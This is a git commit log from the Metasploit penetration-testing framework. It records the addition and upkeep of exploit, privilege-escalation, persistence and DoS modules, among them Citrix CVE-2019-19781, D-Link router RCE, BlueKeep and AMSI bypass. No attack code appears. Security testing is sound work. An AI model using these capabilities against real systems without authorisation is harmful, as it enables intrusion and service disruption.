Metasploit b6a6ea5d28 automatic module_metadata_base.json update 2020-01-14 00:49:19 -06:00
William Vu 1636008db6 Land #12820: Fix #12813, send_request_cgi change 2020-01-14 00:45:03 -06:00
William Vu 002fe64057 Update pulse_secure_file_disclosure, too
Since I bypassed query/vars_get, send_request_cgi is fine now.
2020-01-14 00:34:06 -06:00
William Vu 16d06b3baa Prefer send_request_cgi over send_request_raw 2020-01-14 00:25:18 -06:00
Metasploit bb58cf55fb automatic module_metadata_base.json update 2020-01-13 22:44:31 -06:00
William Vu 8e553c1478 Land #12816, Citrix CVE-2019-19781 exploit 2020-01-13 22:40:36 -06:00
William Vu 72d06b0e9c Update Pulse Secure file disclosure module
Just the comment.
2020-01-13 22:27:29 -06:00
William Vu 3a8b630262 Set a sane default HttpClientTimeout
Totally forgot I did this for Pulse Secure.
2020-01-13 22:26:26 -06:00
William Vu 92de0b132f Make HttpClientTimeout a float, f'ing finally 2020-01-13 22:25:18 -06:00
William Vu cd65efb259 Revert tuned timeout in favor of HttpClientTimeout
Bad habit!
2020-01-13 22:02:12 -06:00
William Vu c71a75950a Make cmd/unix/generic timeout configurable 2020-01-13 21:35:10 -06:00
William Vu 93c69b3a96 Bump send_request_cgi timeout to 3.5s for shells 2020-01-13 21:29:28 -06:00
William Vu d996ba5b2c Revert future-proofed yet shitty case statement 2020-01-13 21:09:07 -06:00
William Vu a635676604 Update wording in module description 2020-01-13 21:04:07 -06:00
William Vu 4cbbe23b11 Improve wording in doc 2020-01-13 21:02:56 -06:00
William Vu 249702ea51 Explain credit in scanner 2020-01-13 20:57:35 -06:00
William Vu b4550933bb Update module doc 2020-01-13 20:51:58 -06:00
William Vu af4505f007 Clean up module 2020-01-13 20:48:18 -06:00
Metasploit 0359a79792 automatic module_metadata_base.json update 2020-01-13 20:26:34 -06:00
William Vu fe23d4b72b Clobber datastore in CheckModule again!
Seems adding VHOST and SSL wasn't enough. This is a stopgap...
2020-01-13 20:25:07 -06:00
William Vu 04084f84f7 Run rubocop -a 2020-01-13 20:25:07 -06:00
William Vu a45821b706 Rename module 2020-01-13 20:25:07 -06:00
William Vu b4a08503f8 Merge remote-tracking branch 'upstream/master' into pr/12816 2020-01-13 20:25:00 -06:00
William Vu 6c4970f901 Land #12819: Fix #12813, Twitter handle correction 2020-01-13 20:21:46 -06:00
William Vu c9041dae28 Fix @altjx's Twitter handle (@altonjx) 2020-01-13 20:19:48 -06:00
Metasploit 55a3f2aac1 automatic module_metadata_base.json update 2020-01-13 18:25:38 -06:00
William Vu 6498a7c231 Land #12813, Citrix CVE-2019-19781 scanner 2020-01-13 18:16:51 -06:00
William Vu 99235c729f Clean up module doc 2020-01-13 18:05:42 -06:00
William Vu 4ac7f81542 Add Twitter handles 2020-01-13 17:54:28 -06:00
William Vu 3354e69c47 Improve smb.conf check and add PATH option 2020-01-13 17:52:14 -06:00
William Vu 332afe89af Update module doc 2020-01-13 16:45:44 -06:00
William Vu 94b6b6d082 Clean up module 2020-01-13 16:39:05 -06:00
William Vu d7deb4e80a Run rubocop -a 2020-01-13 16:39:05 -06:00
William Vu f1cc40bd77 Rename module 2020-01-13 16:39:05 -06:00
kalba-security c30cd8e0cc Add documentation 2020-01-14 00:31:44 +02:00
secenv eaddce910f Documentation for dlink_dir859_subscribe_exec 2020-01-13 13:27:42 -03:00
secenv 1429a496da Remove _telnet from filename
No need to keep it, it drops meterpreter as payload now.
2020-01-13 13:18:43 -03:00
Nicholas Starke 0387d09e67 Changing faulty parameter descriptions 2020-01-13 10:09:06 -06:00
secenv eab0bd5755 Randomize "Callback" header URL 2020-01-13 11:39:23 -03:00
RAMELLA Sébastien 5d3ad626e6 add. documentation 2020-01-13 18:22:09 +04:00
Nicholas Starke 8593f68c14 Adding Cable Haunt WebSocket DoS Module
This module exploits a vulnerability in Sagecom
Cable Modems from a variety of manufacturers. Since
the firmware for vulnerable modems will vary based
on Make, Model, and ISP, this module can only be
used to verify the presence of the vulnerability,
and not actually return a shell. Successful
exploitation will most likely disrupt all upstream
services. Module documentation is included in this
commit.
2020-01-12 19:56:42 -06:00
Metasploit b235f26b60 automatic module_metadata_base.json update 2020-01-12 17:24:51 -06:00
Brent Cook 20cf419e18 Land #12797, improve BlueKeep over remote networks 2020-01-12 17:15:29 -06:00
RAMELLA Sébastien 1570118a14 fix: again chmod 644 WTF! 2020-01-13 01:43:15 +04:00
RAMELLA Sébastien a64b0fa9e7 add. python staged meterpreter support 2020-01-13 01:25:29 +04:00
RAMELLA Sébastien c323df180a fix. file perms to 664 2020-01-12 22:10:23 +04:00
zerosum0x0 aed9b45229 Merge pull request #5 from busterb/bkmouse
move rdp_move_mouse to rdp library, add GROOMDELAY
2020-01-12 10:52:27 -07:00
RAMELLA Sébastien 50637d0d91 add initial source code 2020-01-12 21:12:14 +04:00
Brent Cook 33dadefd53 move rdp_move_mouse to rdp library, add GROOMDELAY 2020-01-12 08:19:44 -06:00
Brent Cook 476eabbffe Land #12811, add newline when printing raw payloads to the console 2020-01-12 07:01:34 -06:00
Brent Cook 55d782c640 Land #12812, update port processing for openvas 2020-01-12 06:52:25 -06:00
Alton Johnson b3bf82be07 Changed permission from executable to just readable 2020-01-11 19:31:38 -05:00
Jeffrey Martin 25e0355951 update port processing for openvas
Port in openvas OMP version 7.0 reports serialize in a new format.
<ports max="1000" start="1"><count>3</count>
  <port>general/tcp<host>192.168.8.100</host><severity>2.6</severity><threat>Low</threat></port>
  <port>general/CPE-T<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>general/icmp<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>445/tcp (IANA: microsoft-ds)<host>192.168.8.100</host><severity>9.3</severity><threat>High</threat></port>
  <port>139/tcp (IANA: netbios-ssn)<host>192.168.8.100</host><severity>0.0</severity><threat>Log</threat></port>
  <port>135/tcp (IANA: epmap)<host>192.168.8.100</host><severity>5.0</severity><threat>Medium</threat></port>
</ports>
2020-01-11 15:15:56 -06:00
kalba-security 03d6d1aed5 Add citrix_directory_traversal module to /modules/auxiliary/scanner/http/ 2020-01-11 22:45:00 +02:00
L 0876b8e7d7 enhancement payload generate raw 2020-01-11 19:43:04 +08:00
Metasploit d507612817 automatic module_metadata_base.json update 2020-01-10 02:40:26 -06:00
Tim W 2ea5bd139a Land #12792, Fix #12791, check for nil response on connection failure in efs_fmws_userid_bof 2020-01-10 16:31:32 +08:00
L 7f82816065 Add description udp listening information 2020-01-10 14:58:36 +08:00
bluesentinelsec 7eeb8c33eb Added new post exploitation module: 'Install OpenSSH for Windows' 2020-01-09 19:58:31 -05:00
Adam Cammack 8b18f86169 Land #12806, Properly invoke bundler in Dockerfile 2020-01-09 13:57:56 -06:00
Metasploit 43daaa9ce5 Bump version of framework to 5.0.69 2020-01-09 12:05:24 -06:00
Jeffrey Martin c169598819 Need to force on bunlde when using clean. 2020-01-09 11:28:43 -06:00
Metasploit fd28cdbb89 automatic module_metadata_base.json update 2020-01-09 09:23:05 -06:00
Tim W 2568f86d57 Land #12804, add support for macOS in web_delivery 2020-01-09 23:12:37 +08:00
Francesco Soncina abb95ef465 feat(web_delivery): use disown on linux too 2020-01-09 15:02:04 +01:00
Francesco Soncina 1f191bc73e feat: support osx in web_delivery 2020-01-09 14:59:47 +01:00
Metasploit 8e4ddf1b2b automatic module_metadata_base.json update 2020-01-09 07:38:01 -06:00
Tim W dabd0df81a Land #12799, fix python web_delivery when SSL=true 2020-01-09 21:28:42 +08:00
Jacob Baines caa02c7d2e Added exploit module for CVE-2019-3929 2020-01-09 08:03:52 -05:00
Francesco Soncina 542f582fed fix: ignore SSL cert in python web_delivery 2020-01-08 13:22:03 +01:00
Tim W 6cb1feb2a6 Land #12779, Fix #12777, add PrependSetuid and PrependSetresuid on armle 2020-01-07 14:47:56 +08:00
Tim W 13a7bf17e2 fix asm comments 2020-01-07 14:45:41 +08:00
zerosum0x0 b76f2a9e08 inject mouse move events, verbose groom progress/elapsed time, danger zone warnings 2020-01-06 23:42:01 -07:00
Leo Le Bouter 756879d3d6 Fix msftidy 2020-01-06 18:14:58 +01:00
Brendan Coles c2a12949a0 Add lwp-request CmdStager 2020-01-06 16:47:17 +00:00
leo-lb f1ae217bb0 Single-core machines are safe from this exploit. 2020-01-06 05:21:51 +01:00
Brendan Coles 326fd26219 Check for nil response due to connection failure 2020-01-05 21:39:34 +00:00
Nicholas Starke cf822bf1c4 Fixing syntax errors 2020-01-05 10:35:09 -06:00
Nicholas Starke e3a5f6bcb6 Addressing PR Comments 2020-01-05 10:12:51 -06:00
Nicholas Starke ce09435d82 Fixing module documentation 2020-01-05 10:03:24 -06:00
Dhiraj Mishra 8034db2c5f Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:46 +04:00
Dhiraj Mishra 13b72282a6 Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:38 +04:00
Dhiraj Mishra 4b9685005e Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:53:03 +04:00
Dhiraj Mishra da06ecc83b Update modules/auxiliary/scanner/http/tvt_nvms_traversal.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-01-05 12:52:47 +04:00
h00die 4d273a94b6 cleanup spaces at eol 2020-01-04 13:51:56 -05:00
h00die 0edaf1fc54 add optimize kernel to hashcat 2020-01-04 13:38:48 -05:00
Brendan Coles 30e86f3779 Land #12788, Add rds_rds_page_copy_user_priv_esc re-exploitation notes 2020-01-04 18:24:55 +00:00
Brendan Coles 424d869b2f Land #12785, Fix aux/scanner/telnet/telnet_login prompt parsing regex 2020-01-04 17:55:27 +00:00
h00die f822a13926 update rds docs 2020-01-04 12:47:36 -05:00
h00die 22a1c09715 fix telnet login with a / in it being parsed as a regex 2020-01-04 10:50:47 -05:00
Brendan Coles c8fb76182c Use PROGRAMDATA environment variable 2020-01-03 20:32:01 +00:00
Brendan Coles b3e9d9aee9 Add Plantronics Hub SpokesUpdateService Privilege Escalation 2020-01-03 20:13:27 +00:00
Nicholas Starke dd240e335c Minor formatting fixes for Setuid 2020-01-03 09:51:54 -06:00
Nicholas Starke 4aaca5031b Adding ARMLE Support for PrependSetresuid 2020-01-03 09:49:40 -06:00
Nicholas Starke 1b72d80dd2 Adding PrependSetuid support for ARMLE Targets
This commit adds support for PrependSetuid for ARMLE targets to
msfvenom.  I tested the output binaries successfully on a
Raspberry Pi.
2020-01-03 08:03:54 -06:00
Metasploit add7e844b0 Bump version of framework to 5.0.68 2020-01-02 12:03:33 -06:00
Brent Cook 30ddabba92 add PROTOCOL option for sunrpc_portmapper 2020-01-02 09:52:18 -06:00
Dhiraj Mishra e23c67d129 tvt_nvms_traversal.md 2020-01-01 15:34:04 +05:30
Dhiraj Mishra 1263292cde tvt_nvms_traversal.rb 2020-01-01 15:06:18 +05:30
secenv 0d592a3fca Replace send_request_cgi with send_request_raw
msftidy complains about not using vars_get... Which won't work in this case.
2019-12-31 13:36:09 -03:00
secenv b6731a6d1c Remove printf as flavor
There is no printf in this router.
2019-12-31 13:10:59 -03:00
secenv bedb1132b7 Convert to staged exploit
Works with meterpreter now :D
2019-12-31 13:08:51 -03:00
secenv 5f2c29946c Remove the prompt variable + some EOL spaces; modify rand()
As suggested by @bcoles
2019-12-31 11:19:59 -03:00
secenv 2eec026a28 D-Link DIR-859 Unauthenticated RCE (CVE-2019-17621)
Exploits a vulnerability in the /gena.cgi UPnP endpoint in D-Link DIR-859 (and potentially other) SOHO routers. CVE ID: 2019-17621.
Code based on modules/exploits/linux/http/dlink_dir300_exec_telnet.rb
2019-12-30 19:22:04 -03:00
ide0x90 44489f0326 Using heredoc, streamlined check for PowerShell, improved docs. 2019-12-29 12:00:50 +08:00
ide0x90 4fb2e92a8f Cleanup according to Rubocop 2019-12-29 02:04:06 +08:00
ide0x90 daae0886fa Included lazy and manual check for Bash.
More code cleanup, reducing use of class variables.
Normalized all the URIs.
Created a function to wrap GET requests to the target.
2019-12-29 01:32:44 +08:00
Metasploit cd566846dd automatic module_metadata_base.json update 2019-12-27 04:04:24 -06:00
Brent Cook e8cd136e56 Land #12712, add OpenBSD Dynamic Loader chpass privesc 2019-12-27 03:56:02 -06:00
ide0x90 65e7354ee6 Added TARGETURI 2019-12-27 15:48:37 +08:00
ide0x90 ce01137525 More cleanup. Better check. Encoding issues over with (hopefully). 2019-12-27 15:16:09 +08:00
Metasploit d2e2dcf85e automatic module_metadata_base.json update 2019-12-26 13:59:49 -06:00
Brent Cook f4a0ef2ee9 Land #12640, improve Wordpress check versions
Merge remote-tracking branch 'upstream/pr/12640' into upstream-master
2019-12-26 13:47:04 -06:00
Brent Cook 8061cdf974 Land #12760, improvements to linux/local/bpf_priv_esc module 2019-12-26 13:43:54 -06:00
Brent Cook 4de482f57a Land #12433, add Metasploit reverse_http handler DoS module 2019-12-26 13:40:14 -06:00
Brent Cook d87f752591 add module docs 2019-12-26 13:31:38 -06:00
Brent Cook b177a8235d adjust indentation 2019-12-26 13:05:21 -06:00
Brent Cook 3dac95ed32 fix enumeration handling 2019-12-26 13:00:52 -06:00
Metasploit 03971e9607 Bump version of framework to 5.0.67 2019-12-26 12:04:30 -06:00
Brendan Coles a7b63557db Notify operator that cleanup of crontab is required 2019-12-26 16:21:44 +00:00
ide0x90 f15bbc1340 Merge branch 'solr820-rce' of github.com:ide0x90/metasploit-framework into solr820-rce 2019-12-27 00:15:02 +08:00
ide0x90 29b306fedf Cleanup sweep the 2nd as per suggestions from @bcoles 2019-12-27 00:13:49 +08:00
ide0x90 92accda770 Cleanup sweep the 2nd as per @bcole 's suggestions 2019-12-27 00:12:17 +08:00
ide0x90 046d8cbedc REALLY added documentation.
Made module work with base64.
Cleaned up template as per @acammack-r7 's suggestions.
2019-12-26 23:35:34 +08:00
ide0x90 242cee3060 Improved target verification and added documentation. 2019-12-26 20:22:21 +08:00
ide0x90 f637254ab2 Initial commit for module exploit/multi/http/solr_velocity_rce 2019-12-26 18:12:42 +08:00
Brendan Coles d449a93b44 Add Msf::Post::File.attributes method 2019-12-25 07:34:44 +00:00
Brendan Coles f04cf4f544 Randomize Msf::Post::File _write_file_unix_shell test_str 2019-12-25 05:15:33 +00:00
Nicholas Starke 13cadbf3f1 Adding DLINK DWL-2600 Command Injection Module
This module takes advantage of a previously discovered command injection
vulnerability in DLINK DWL-2600 WiFi Access points.  This vulnerability
is authenticated, and the module is responsible for retrieving a valid
authentication token.
2019-12-24 12:31:49 -06:00
Metasploit 75dc82f764 automatic module_metadata_base.json update 2019-12-23 19:21:25 -06:00
wvu-r7 e89a596e5c Land #12754, ForceExploit for 4.3BSD exploits 2019-12-23 19:13:42 -06:00
William Vu 01b6bc112d Rescue EOFError for good measure 2019-12-23 19:02:13 -06:00
William Vu 81f8f4f67f Add ForceExploit to 4.3BSD (VAX) exploits 2019-12-23 18:17:09 -06:00
Metasploit 337d18d35c automatic module_metadata_base.json update 2019-12-23 14:57:22 -06:00
Brent Cook ce991071e4 Land #12524, update most python code with python 3 compatibility 2019-12-23 14:49:08 -06:00
Metasploit 341807729c automatic module_metadata_base.json update 2019-12-22 09:30:53 -06:00
h00die 4f8382fc98 Land #12744, rds lpe updates and improvements 2019-12-22 10:21:03 -05:00
h00die 4e1e8d344f rds reliability, stability notes 2019-12-22 10:20:00 -05:00
Brendan Coles 4c0fc3a505 Add OpenBSD Dynamic Loader chpass Privilege Escalation (CVE-2019-19726) 2019-12-22 08:46:43 +00:00
Metasploit 0c4de2d891 automatic module_metadata_base.json update 2019-12-21 14:58:31 -06:00
h00die 7a027216cc Land #12701 linux priv esc on reptile_cmd rootkit 2019-12-21 15:50:07 -05:00
h00die 01af23df26 Land #12750, haKCers.txt banner update 2019-12-21 07:37:16 -05:00
h00die 155a2eb74a Land #12707, more module docs 2019-12-21 07:15:10 -05:00
h00die 6b746e332f module doc formatting 2019-12-21 07:14:25 -05:00
Brent Cook 20e6568f00 revert killerbee to python2 2019-12-20 09:44:29 -06:00
Cory Kennedy a8f8502d19 Update haKCers.txt
Corrected minor (but major - sorry!) transposition error on line 18.
2019-12-20 09:05:49 -06:00
Metasploit e0374955a3 Bump version of framework to 5.0.66 2019-12-19 12:09:27 -06:00
Onur ER a45e4b6d37 Update lib/rex/proto/http/client_request.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-19 20:43:30 +03:00
Brent Cook d50058cbc6 update to python standards 2019-12-19 09:22:48 -06:00
Brent Cook e8bbf2f117 fix remaining python3 compat bugs 2019-12-19 09:21:24 -06:00
Brent Cook 0a846aaeb6 convert to standard python format 2019-12-19 08:59:36 -06:00
Brent Cook 3cc6b8f8fd update to standard python formatting 2019-12-19 08:58:40 -06:00
Brent Cook d64f53e462 don't hide exception data 2019-12-19 08:56:23 -06:00
Brent Cook ce69efcfa2 python3 fixes, don't hide exception data 2019-12-19 08:56:00 -06:00
Brent Cook 3a1a576747 remove nasm ignored keyword 2019-12-19 08:44:13 -06:00
Brent Cook 25ce890d36 fix remaining python3 compat issues, add #! 2019-12-19 08:44:02 -06:00
Metasploit 1d351daf00 automatic module_metadata_base.json update 2019-12-18 15:51:28 -06:00
Shelby Pace 894927d960 Land #12693, add Comahawk privilege escalation 2019-12-18 15:40:51 -06:00
Brendan Coles fce750147c Update documentation 2019-12-18 20:46:25 +00:00
Brendan Coles af462ffb0d Move documentation 2019-12-18 20:36:14 +00:00
bwatters-r7 b36c191fc7 With feeling... 2019-12-18 14:33:13 -06:00
bwatters-r7 f9fbe96145 more bcoles suggestions 2019-12-18 14:25:43 -06:00
Brendan Coles c0da9e2202 Rename exploit/linux/local/rds_priv_esc -> exploit/linux/local/rds_rds_page_copy_user_priv_esc 2019-12-18 20:05:19 +00:00
Metasploit 4a5b8c6230 automatic module_metadata_base.json update 2019-12-18 12:22:48 -06:00
wvu-r7 d61872f8ba Land #12742, bsd/vax/shell_reverse_tcp style fix 2019-12-18 12:14:43 -06:00
William Vu b81d78c7a5 Fix style in bsd/vax/shell_reverse_tcp payload 2019-12-18 12:11:56 -06:00
Francesco Soncina 671f80896a Update payload_inject.rb 2019-12-18 16:06:26 +01:00
Francesco Soncina 988971bd94 Update shellcode_inject.rb 2019-12-18 16:05:37 +01:00
Kenneth LaCroix d8c93b9e18 Update enum_logged_on_users.md 2019-12-17 20:50:07 -07:00
Kenneth LaCroix 473dcd5359 Create phish_windows_credentials.md 2019-12-17 18:55:45 -07:00
Pearce Barry 4cc12f1890 Land #12740, Remove method call side-effects 2019-12-17 18:17:34 -06:00
Jeffrey Martin e727c15ef5 Land #12677, Better error when JtR not adequate 2019-12-17 15:55:32 -06:00
Brent Cook 843f481923 Land #12738, add support for Mdm::Module::Ref objects when linking refs to vulns 2019-12-17 14:30:39 -06:00
Jeffrey Martin 0aaa4265be do not remove workspace needed for other reports 2019-12-17 14:11:59 -06:00
Jeffrey Martin e5ce6dc8de do not delete workspace reference 2019-12-17 14:11:58 -06:00
Jeffrey Martin aaddc9d8a5 don't rely on side-effects in db util function 2019-12-17 14:11:58 -06:00
Brent Cook 7386f66de5 Land #12737, further improvements to CheckModule mixin 2019-12-17 13:29:18 -06:00
Jeffrey Martin 31ed5d553f ensure ref name exists 2019-12-17 11:00:00 -06:00
Francesco Soncina f22c6f2f63 add support for PPID spoofing to migrate 2019-12-17 16:39:18 +01:00
Tim W 58bf71d555 simplify amsi resource url 2019-12-17 17:35:29 +08:00
Metasploit 2820a14dcb automatic module_metadata_base.json update 2019-12-16 19:57:59 -06:00
William Vu c43106216f Improve error handling 2019-12-16 19:51:50 -06:00
William Vu 11b8ef006c Return CheckCode associated with RHOST 2019-12-16 19:51:50 -06:00
William Vu 1f0d491a4f Add print saying what module 2019-12-16 19:51:50 -06:00
William Vu 442f36e466 Complete refactor of CheckModule 2019-12-16 19:51:50 -06:00
wvu-r7 7ce2c63935 Land #12702, has_check? for modules 2019-12-16 19:50:19 -06:00
Francesco Soncina f9d2f9fa2e Update shellcode_inject.rb 2019-12-17 01:42:52 +01:00
Francesco Soncina 664b196388 Update payload_inject.rb 2019-12-17 01:35:24 +01:00
Francesco Soncina cbd225dfed Update shellcode_inject.rb 2019-12-17 01:34:12 +01:00
Francesco Soncina 5c7c071094 add support for PPID spoofing to shellcode_inject 2019-12-17 01:31:40 +01:00
Francesco Soncina 64c1f557c6 add support for PPID spoofing to payload_inject 2019-12-17 01:19:45 +01:00
Francesco Soncina 30dcc3d78f add support for ParentPid 2019-12-17 01:04:55 +01:00
Brent Cook 4595dcd815 Land #12735, Add smcintyre-r7 to the .mailmap file 2019-12-16 17:51:45 -06:00
Metasploit ca2fa68452 automatic module_metadata_base.json update 2019-12-16 17:50:29 -06:00
Brent Cook fde942bc37 Land #12517, replace CheckScanner mixin with CheckModule, which works with anything 2019-12-16 17:40:10 -06:00
Jeffrey Martin b786a44c2e support Mdm::Module::Ref object when linking vulns 2019-12-16 17:16:01 -06:00
Spencer McIntyre 8f31360a8c Add smcintyre-r7 to the .mailmap file 2019-12-16 17:09:56 -06:00
William Vu 14b6282e51 Update other error to CheckCode message 2019-12-16 13:43:00 -06:00
wvu-r7 f23ec6bc88 Add instantiation error to CheckCode
It's better here, now that it's supported.

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-16 13:32:56 -06:00
wvu-r7 7c071d2254 Remove instantiation error
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-16 13:28:34 -06:00
Onur ER b29523fc2a Added Array Handling
Handle the repeated key query string 
https://github.com/rapid7/metasploit-framework/pull/12704#discussion_r357748834
2019-12-16 22:01:32 +03:00
bwatters-r7 66dcbc5d99 Stupid typo... 2019-12-16 12:54:48 -06:00
bwatters-r7 06bcef3670 bcoles suggested chganges 2019-12-16 12:50:41 -06:00
Pearce Barry fe3a6a30b5 Add missing 'JtR' match back in, strip trailing char. 2019-12-16 12:28:50 -06:00
Metasploit c6bae91b9d automatic module_metadata_base.json update 2019-12-16 11:47:59 -06:00
Brent Cook 9cc02cb51f Land #12643, add additional example exploit modules 2019-12-16 11:34:33 -06:00
Brent Cook e1e668d7da Land #12651, add OpenMRS deserialization exploit 2019-12-16 11:31:24 -06:00
Brent Cook 9f99ab50bd Land #12732, lock rubygems for Travis and Docker unbreaking builds 2019-12-16 11:29:08 -06:00
Jeffrey Martin e18016b5f0 also lock rubygems in Travis for now 2019-12-16 10:53:08 -06:00
Jeffrey Martin f1db8caa79 lock rubygems version for Docker image
Latest rubygems release for 3.1.0 vendors bundler 2.1.0 creating
compatibilty issues.  Lock for now until all relates issues can be
addressed.
2019-12-16 10:05:07 -06:00
Brent Cook 90bb65b756 Land #12711, return correct values for credential proxy methods 2019-12-16 09:00:38 -06:00
Pearce Barry 70fc02863b Update regex to work across more JtR versions. 2019-12-16 08:35:10 -06:00
Metasploit eb712c6cda automatic module_metadata_base.json update 2019-12-16 02:29:45 -06:00
Christophe De La Fuente 42a60034f2 Land #12725, Bash profile persistence module 2019-12-16 09:19:08 +01:00
Kenneth LaCroix ba25cb3b31 Update enum_patches.md 2019-12-15 16:46:55 -07:00
Kenneth LaCroix 4b221a497e OS 2019-12-15 16:45:57 -07:00
Metasploit 2a4e04f3cd automatic module_metadata_base.json update 2019-12-15 06:18:12 -06:00
h00die 1ff925eac9 Land #12727, netfilter_priv_esc_ipv4 improvements 2019-12-15 07:07:40 -05:00
Metasploit 93c8855fe3 automatic module_metadata_base.json update 2019-12-15 05:36:28 -06:00
h00die eb8814d5fe Land #12697, module docs 2019-12-15 06:25:44 -05:00
h00die 3da716b21a numbering fix 2019-12-15 06:25:07 -05:00
Brendan Coles dd41892123 Update netfilter_priv_esc_ipv4 exploit 2019-12-15 07:17:42 +00:00
bluesentinelsec c43330934b New module: Bash Profile Persistence 2019-12-14 21:40:18 -05:00
Kenneth LaCroix 3257b8b4cc enum_patches 2019-12-14 15:58:45 -07:00
Kenneth LaCroix b007eea2b8 Update screen_spy.md 2019-12-14 14:37:59 -07:00
Kenneth LaCroix 244a8ec136 More formatting 2019-12-14 13:53:01 -07:00
Kenneth LaCroix dc02f5752d More formatting. 2019-12-14 13:46:46 -07:00
Francesco Soncina a3a25b193e serve AMSI/SBL bypass separately 2019-12-14 19:49:53 +01:00
Francesco Soncina e0a3af39aa expose bypass_powershell_protections 2019-12-14 19:48:53 +01:00
Francesco Soncina c8d4dfee7e http-server: fix bug with random uris 2019-12-14 19:47:06 +01:00
Onur ER 3be3a398ae Update and rename documentation/modules/exploit/linux/http/opennetadmin_ping_cmd_injection.md to documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md 2019-12-14 16:33:13 +03:00
Onur ER 548abf4364 Rename modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb to modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb 2019-12-14 16:26:19 +03:00
Onur ER 44636f4975 Update opennetadmin_ping_cmd_injection.rb 2019-12-14 16:24:27 +03:00
Metasploit 8b09cd6cb7 automatic module_metadata_base.json update 2019-12-13 16:51:58 -06:00
h00die 5fc561e916 Land #12661, more docs 2019-12-13 17:42:36 -05:00
bwatters-r7 6538a4188d Space-suggested updates 2019-12-13 15:25:01 -06:00
Jeffrey Martin 10770b40a3 less code same result 2019-12-13 14:09:03 -06:00
Kenneth LaCroix 69fe5494c3 Create enum_logged_on_users.md 2019-12-13 12:52:29 -07:00
Kenneth LaCroix 1cd8e56561 Formatting 2019-12-13 11:34:00 -07:00
Kenneth LaCroix b1f68d18e2 Formatting 2019-12-13 11:26:43 -07:00
Onur ER 7730c5359d Update modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-12-13 16:39:17 +03:00
Kenneth LaCroix 59d9834432 Merge pull request #1 from h00die/land-12661
doc touchup
2019-12-13 04:20:53 -07:00
Adam Galway f8b8dc1c80 improve dertermining module check support 2019-12-13 11:02:21 +00:00
Tim 0e076d286e Update modules/exploits/multi/browser/chrome_array_map.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-13 12:47:21 +07:00
Tim W 4dda0a8e40 Land #12714, fix encrypted_shell warning 2019-12-13 13:42:59 +08:00
Kenneth LaCroix c103e87f03 Create screen_spy.md, Update tcpnetstat.md 2019-12-12 22:07:07 -07:00
Kenneth LaCroix f26d322533 Create tcpnetstat.md 2019-12-12 22:00:47 -07:00
h00die a945095ddf doc touchup 2019-12-12 16:58:14 -05:00
Metasploit 7679083e4f automatic module_metadata_base.json update 2019-12-12 15:29:15 -06:00
bwatters-r7 6be4729a02 Land #12391, Add shellcode_inject post module
Merge branch 'land-12391' into upstream-master
2019-12-12 15:20:51 -06:00
bwatters-r7 fb5c896d40 Streamline Checks and error for channelized comms before injection 2019-12-12 15:19:17 -06:00
Metasploit fa86c67f2b automatic module_metadata_base.json update 2019-12-12 13:21:09 -06:00
Christophe De La Fuente 87373ccc84 Land #12486, Small changes to the host_header_injection aux module 2019-12-12 20:11:37 +01:00
Jeffrey Martin 9d89fc2eba clone options & return login object not core 2019-12-12 12:47:45 -06:00
Shelby Pace 15294550ed add require 2019-12-12 12:24:47 -06:00
Metasploit f83d08ed51 Bump version of framework to 5.0.65 2019-12-12 12:07:33 -06:00
Shelby Pace 1e3158e129 Land #12699, add payload uuid/temp file fixes 2019-12-12 10:49:15 -06:00
Shelby Pace 35075d5c7f add strip and update payload cached sizes 2019-12-12 10:43:04 -06:00
Metasploit 8977d2a213 automatic module_metadata_base.json update 2019-12-12 10:26:58 -06:00
Jeffrey Martin e416f0d886 Land #12363, Adding Chrome Debugger Gather Auxiliary Module 2019-12-12 10:13:51 -06:00
Nicholas Starke db05b11fae Uppercasing Parameters and Dregistering Options
This commit uppercases all default parameters and de-registers
certain options like SSL and VHOST.
2019-12-12 09:57:10 -06:00
Metasploit 13eee43d54 automatic module_metadata_base.json update 2019-12-12 09:26:00 -06:00
Brendan Coles d7f1c9a4a9 Land #12696, Add AKA references to several modules 2019-12-12 15:28:21 +00:00
Brent Cook b3bb0efa62 update payload sizes (apparently this is a compiler version-dependent) 2019-12-12 09:23:25 -06:00
Brent Cook d9a3ef51e5 further path and extension handling improvements 2019-12-12 09:23:05 -06:00
bwatters-r7 7e05642a1b Randomize container name 2019-12-12 07:48:01 -06:00
bwatters-r7 0257861c4f Remove debug statements and extra c/ruby libraries 2019-12-11 18:42:36 -06:00
Kenneth LaCroix efdc838d16 Create enum_devices.md 2019-12-11 16:20:51 -07:00
Kenneth LaCroix e3edff8494 Create dumplinks.md 2019-12-11 16:06:43 -07:00
Kenneth LaCroix c4e304574c Update enum_applications.rb 2019-12-11 14:10:48 -07:00
Kenneth LaCroix 142096d34b Update enum_applications.md 2019-12-11 14:10:10 -07:00
Kenneth LaCroix 910be567be Create dnscache_dump.md 2019-12-11 14:08:55 -07:00
Kenneth LaCroix 038ecb38ad Create cachedump.md 2019-12-11 13:59:53 -07:00
Kenneth LaCroix 0a31e3b909 Update bitlocker_fvek.rb
Fix spelling errors.
2019-12-11 13:39:25 -07:00
Kenneth LaCroix 237c1c68a1 Update bitlocker_fvek.md 2019-12-11 13:37:49 -07:00
Kenneth LaCroix a8d8c71c29 Create bitlocker_fvek.md 2019-12-11 13:36:20 -07:00
Metasploit aa9fbed5e9 automatic module_metadata_base.json update 2019-12-11 14:01:47 -06:00
wvu-r7 f9888dd065 Land #12703, RHOST(S) and RPORT for SSH mixin
